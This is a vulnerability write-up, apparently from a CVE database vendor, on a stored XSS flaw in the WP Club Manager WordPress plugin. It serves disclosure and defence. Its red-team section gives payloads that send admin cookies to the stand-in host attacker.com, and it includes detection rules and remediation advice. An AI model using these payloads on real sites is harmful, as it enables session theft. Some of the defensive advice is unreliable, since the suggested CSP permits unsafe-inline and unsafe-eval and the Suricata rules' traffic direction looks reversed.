CVE-2024-32566
Executive Summary
CVE-2024-32566 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the WP Club Manager WordPress plugin, versions <= 2.2.11. This flaw allows an unauthenticated attacker to inject arbitrary web scripts or HTML into web page generation, which are then executed in the context of an administrator's browser when they view the affected page. The vulnerability stems from improper neutralization of user-supplied input during web page generation.
Given the plugin's role in managing sports clubs, teams, and player profiles, a successful exploit could lead to session hijacking, defacement, or redirection of club members to malicious sites. The EPSS score of 0.0% indicates low current exploitation activity, but the lack of a patch makes this a ticking time bomb for unmaintained installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin vulnerability. The plugin is distributed via the official WordPress plugin repository. Users who have auto-updates enabled may not receive a fix if the vendor does not release a patched version. Administrators should manually check for updates or consider removing the plugin if no patch is forthcoming.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – Unauthenticated attacker.
- User Interaction: Required (UI:R) – Victim must click a crafted link or view a page.
- Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification of content.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the plugin's popularity in niche sports club management scenarios elevate the risk for targeted attacks.
Deep Dive & Mechanics
The vulnerability exists in the WP Club Manager plugin's handling of user input, likely in fields such as player names, team descriptions, or club announcements. The plugin fails to sanitize or escape input before storing it in the database and later rendering it in the WordPress admin dashboard.
Attack Flow:
- An attacker identifies a vulnerable input field (e.g., a player profile name or team description).
- The attacker submits a payload such as
<script>alert('XSS')</script>or a more sophisticated JavaScript payload. - The plugin stores the malicious input without proper sanitization.
- When an administrator views the affected page (e.g., the club manager dashboard), the payload executes in their browser.
- The attacker can then steal session cookies, perform actions on behalf of the admin, or redirect users to phishing pages.
Root Cause: The plugin uses echo or _e() functions without wrapping the output in esc_html() or wp_kses_post(). This allows raw HTML/JavaScript to be rendered.
Vulnerable vs. Patched Code
Since no patch is available, we can only infer the vulnerable pattern. A typical vulnerable code snippet in WordPress plugins looks like:
// Vulnerable code (wp-club-manager <= 2.2.11)
echo '<div class="player-name">' . $player_name . '</div>';
The patched version would use proper escaping:
// Patched code (hypothetical)
echo '<div class="player-name">' . esc_html( $player_name ) . '</div>';
The esc_html() function converts special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress installation with WP Club Manager <= 2.2.11.
- Access to a form that accepts user input (e.g., player registration or team creation).
Exploit Steps:
- Navigate to a page where you can submit data (e.g.,
Add New Player). - In the player name field, inject the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Submit the form.
- Wait for an administrator to view the player list or dashboard.
- The admin's browser will execute the script, sending their session cookie to your server.
Alternative Payload (Stealthier):
<img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))">
Blue Team (Defensive)
Detection:
- Monitor for unusual input patterns in player names, team descriptions, or club announcements.
- Look for HTTP requests containing
<script>,onerror, oronloadattributes. - Use Web Application Firewall (WAF) rules to block common XSS payloads.
Prevention:
- Disable the plugin until a patch is released.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use WordPress security plugins like Wordfence or Sucuri to add an extra layer of input sanitization.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to unknown domains containing
document.cookiein the query string. - Suspicious
Refererheaders pointing to/wp-admin/admin.php?page=wp-club-managerwith encoded payloads.
- Outbound HTTP requests to unknown domains containing
Host IOCs:
- Database entries in
wp_postmetaor custom plugin tables containing<script>tags. - Modified plugin files (if attacker gains admin access).
- Database entries in
Log IOCs:
- WordPress debug log entries showing
PHP Notice: Undefined indexorPHP Warning: Cannot modify header information(indicating XSS attempts). - Apache/Nginx access logs with
%3Cscript%3Eor%3Cimg%20src%3Dx%20onerror%3Din the URI.
- WordPress debug log entries showing
Detection Engineering
YARA Rule
rule CVE_2024_32566_WP_Club_Manager_XSS {
meta:
description = "Detects stored XSS payloads in WP Club Manager plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-32566"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
$xss4 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: CVE-2024-32566 - WP Club Manager Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS attempts against WP Club Manager plugin
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin panels (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-32566 WP Club Manager Stored XSS Payload"; flow:to_server,established; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-32566 WP Club Manager XSS via onerror"; flow:to_server,established; pcre:"/onerror\s*=\s*[\x22\x27]/i"; sid:1000002; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if no patch is available. Navigate to
Plugins > Installed Pluginsand deactivate "WP Club Manager". - Remove the plugin entirely if it is not critical to operations.
- Scan the database for existing XSS payloads using the YARA rule above.
Long-term Mitigation:
- Monitor the WordPress plugin repository for an official patch.
- If the plugin is abandoned, consider migrating to an alternative club management solution.
- Implement a Web Application Firewall (WAF) with virtual patching for CVE-2024-32566.
- Enforce strict Content Security Policy (CSP) headers:
(Note:Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"unsafe-inlinemay be required for WordPress admin, but should be avoided if possible.)
Vendor Contact:
- Reach out to the WP Club Manager support team via the WordPress plugin support forum.
- If no response, consider reporting the vulnerability to the WordPress Plugin Security Team.
Valters IT
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.